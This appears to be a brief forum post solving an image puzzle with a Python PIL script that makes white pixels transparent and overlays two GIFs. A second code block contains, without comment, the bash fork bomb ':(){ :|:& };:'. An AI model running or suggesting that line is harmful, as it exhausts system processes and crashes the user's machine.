Yin and Yang
Code: Select all
from PIL import Image
import os
imgs = [Image.open('masgo-1.gif'),Image.open('masgo-2.gif')]
for i in range(2):
img = imgs[i-1].convert("RGBA")
datas = img.getdata()
newData = []
for item in datas:
if item[0] == 255 and item[1] == 255 and item[2] == 255:
newData.append((255, 255, 255, 0))
else:
newData.append(item)
img.putdata(newData)
img.save("temp"+str(i)+".png", "PNG");
background = Image.open("temp0.png")
foreground = Image.open("temp1.png")
background.paste(foreground, (0, 0), foreground)
background.show()
os.remove("temp0.png");
os.remove("temp1.png");
Code: Select all
:(){ :|:& };: